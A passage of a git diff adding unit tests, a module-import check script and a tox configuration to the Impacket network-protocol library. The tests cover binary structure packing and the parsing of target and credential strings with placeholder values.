+
+
+class Test_simple_aligned4(Test_simple):
+    alignment = 4
+    hexData = '00003131 00000005 03341234 12770099 88414141 41000000 686f6c61 00000000 68006f00 6c006100 00000000 434f4341 00060000 434f4341 3a313233 343a0000 45444342 00001006'
+
+
+class Test_nested(_StructureTest, unittest.TestCase):
+    class theClass(Structure):
+        class _Inner(Structure):
+            structure = (('data', 'z'),)
+
+        structure = (
+            ('nest1', ':', _Inner),
+            ('nest2', ':', _Inner),
+            ('int', '<L'),
+        )
+
+    def populate(self, a):
+        a['nest1'] = Test_nested.theClass._Inner()
+        a['nest2'] = Test_nested.theClass._Inner()
+        a['nest1']['data'] = 'hola manola'
+        a['nest2']['data'] = 'chau loco'
+        a['int'] = 0x12345678
+
+    hexData = '686f6c61 206d616e 6f6c6100 63686175 206c6f63 6f007856 3412'
+
+
+class Test_Optional(_StructureTest, unittest.TestCase):
+    class theClass(Structure):
+        structure = (
+            ('pName', '<L&Name'),
+            ('pList', '<L&List'),
+            ('Name', 'w'),
+            ('List', '<H*<L'),
+        )
+
+    def populate(self, a):
+        a['Name'] = 'Optional test'
+        a['List'] = (1, 2, 3, 4)
+
+    def check_data(self, a_str):
+        # Pointer values change between runs, so ignore them
+        filtered = ''.join(['-' if h == '-' else a
+                            for a, h in zip(hexl(a_str), self.hexData)])
+        self.assertEqual(filtered, self.hexData)
+
+    hexData = '-------- -------- 07000000 07000000 00000000 4f707469 6f6e616c 20746573 74000400 01000000 02000000 03000000 04000000'
+
+
+class Test_Optional_sparse(Test_Optional):
+    def populate(self, a):
+        Test_Optional.populate(self, a)
+        del a['Name']
+
+    hexData = '00000000 -------- 04000100 00000200 00000300 00000400 0000'
+
+
+class Test_AsciiZArray(_StructureTest, unittest.TestCase):
+    class theClass(Structure):
+        structure = (
+            ('head', '<L'),
+            ('array', 'B*z'),
+            ('tail', '<L'),
+        )
+
+    def populate(self, a):
+        a['head'] = 0x1234
+        a['tail'] = 0xabcd
+        a['array'] = ('hola', 'manola', 'te traje')
+
+    hexData = '34120000 03686f6c 61006d61 6e6f6c61 00746520 7472616a 6500cdab 0000'
+
+
+class Test_UnpackCode(_StructureTest, unittest.TestCase):
+    class theClass(Structure):
+        structure = (
+            ('leni', '<L=len(uno)*2'),
+            ('cuchi', '_-uno', 'leni//2'),
+            ('uno', ':'),
+            ('dos', ':'),
+        )
+
+    def populate(self, a):
+        a['uno'] = 'soy un loco!'
+        a['dos'] = 'que haces fiera'
+
+    hexData = '18000000 736f7920 756e206c 6f636f21 71756520 68616365 73206669 657261'
+
+
+class Test_AAA(_StructureTest, unittest.TestCase):
+    class theClass(Structure):
+        commonHdr = ()
+        structure = (
+            ('iv', '!L=((init_vector & 0xFFFFFF) << 8) | ((pad & 0x3f) << 2) | (keyid & 3)'),
+            ('init_vector', '_', '(iv >> 8)'),
+            ('pad', '_', '((iv >>2) & 0x3F)'),
+            ('keyid', '_', '( iv & 0x03 )'),
+            ('dataLen', '_-data', 'len(inputDataLeft)-4'),
+            ('data', ':'),
+            ('icv', '>L'),
+        )
+
+    def populate(self, a):
+        a['init_vector'] = 0x01020304
+        # a['pad']=int('01010101',2)
+        a['pad'] = int('010101', 2)
+        a['keyid'] = 0x07
+        a['data'] = "\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9"
+        a['icv'] = 0x05060708
+        # a['iv'] = 0x01020304
+
+    hexData = '02030457 a0a1a2a3 a4a5a6a7 a8a90506 0708'
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/misc/test_utils.py b/tests/misc/test_utils.py
new file mode 100644
index 0000000..94683bb
--- /dev/null
+++ b/tests/misc/test_utils.py
@@ -0,0 +1,56 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Utility and helper functions for the example scripts
+#
+import unittest
+from impacket.examples.utils import parse_target, parse_credentials
+
+
+class UtilsTests(unittest.TestCase):
+
+    def test_parse_target(self):
+        # Parse target returns a tuple with: domain, username, password, remote_name/address
+        targets = {
+            "": ("", "", "", ""),
+            "HostName": ("", "", "", "HostName"),
+            "UserName@HostName": ("", "UserName", "", "HostName"),
+            "UserName:Password@HostName": ("", "UserName", "Password", "HostName"),
+            "UserName:Pa$$word1234@HostName": ("", "UserName", "Pa$$word1234", "HostName"),
+            "UserName:Password!#$@HostName": ("", "UserName", "Password!#$", "HostName"),
+            "UserName:Passw@rd!#$@HostName": ("", "UserName", "Passw@rd!#$", "HostName"),
+            "UserName:P@ssw@rd@!#$@HostName": ("", "UserName", "P@ssw@rd@!#$", "HostName"),
+            "DOMAIN/UserName@HostName": ("DOMAIN", "UserName", "", "HostName"),
+            "DOMAIN/:Password@HostName": ("DOMAIN", "", "Password", "HostName"),
+            "DOMAIN/UserName:Password@HostName": ("DOMAIN", "UserName", "Password", "HostName"),
+            "DOMAIN/UserName:Password/123@HostName": ("DOMAIN", "UserName", "Password/123", "HostName"),
+        }
+
+        for target, result in targets.items():
+            self.assertTupleEqual(parse_target(target), result)
+
+    def test_parse_credentials(self):
+        # Parse credentials returns a tuple with: domain, username, password
+        creds = {
+            "": ("", "", ""),
+            "UserName": ("", "UserName", ""),
+            "UserName:Password": ("", "UserName", "Password"),
+            "UserName:Password:123": ("", "UserName", "Password:123"),
+            "DOMAIN/UserName": ("DOMAIN", "UserName", ""),
+            "DOMAIN/UserName:Password": ("DOMAIN", "UserName", "Password"),
+            "DOMAIN/UserName:Password/123": ("DOMAIN", "UserName", "Password/123"),
+        }
+
+        for cred, result in creds.items():
+            self.assertTupleEqual(parse_credentials(cred), result)
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/walkmodules.py b/tests/walkmodules.py
new file mode 100644
index 0000000..6a5920d
--- /dev/null
+++ b/tests/walkmodules.py
@@ -0,0 +1,15 @@
+#!/usr/bin/env python
+# From https://stackoverflow.com/questions/1707709/list-all-the-modules-that-are-part-of-a-python-package
+import pkgutil
+import impacket
+package=impacket
+for importer, modname, ispkg in pkgutil.walk_packages(path=package.__path__,
+                                                      prefix=package.__name__+'.',
+                                                      onerror=lambda x: None):
+    try:
+        __import__(modname)
+    except Exception as e:
+        import traceback
+        traceback.print_exc()
+        print(e)
+        pass
diff --git a/tox.ini b/tox.ini
new file mode 100644
index 0000000..29913cf
--- /dev/null
+++ b/tox.ini
@@ -0,0 +1,71 @@
+# content of: tox.ini, put in same dir as setup.py
+[tox]
+envlist = clean,py{36,37,38,39,310},report
+
+[gh-actions]
+python =
+    3.6: py36
+    3.7: py37
+    3.8: py38
+    3.9: py39
+    3.10: py310
+
+[testenv]
+deps = -r requirements-test.txt
+passenv = REMOTE_CONFIG
+commands =
+    {envpython} -m pip check
+    pytest --cov --cov-append --cov-context=test --cov-config=tox.ini {posargs}
+depends =
+    py{36,37,38,39,310}: clean
+    report: py{36,37,38,39,310}
+
+[testenv:clean]
+basepython = python3.8
+deps = coverage
+skip_install = true
+commands =
+    coverage erase
+
+[testenv:report]
+basepython = python3.8
+deps = coverage
+skip_install = true
+commands =
+    coverage report
+    coverage html
+
+[testenv:py310]
+ignore_errors = true
+
+[pytest]
+markers =
+    remote: marks tests as remote
+
+[coverage:run]
+branch = True
+source = impacket
+omit = *remcom*
+       *.tox*
+
+[coverage:report]
+# Regexes for lines to exclude from consideration
+exclude_lines =
+    # Have to re-enable the standard pragma
+    pragma: no cover
+
+    # Don't complain about missing debug-only code:
+    if self\.debug
+
+    # Don't complain if tests don't hit defensive assertion code:
+    raise AssertionError
+    raise NotImplementedError
+
+    # Don't complain if non-runnable code isn't run:
+    if 0:
+    if __name__ == .__main__.:
+
+ignore_errors = True
+
+[coverage:html]
+show_contexts = True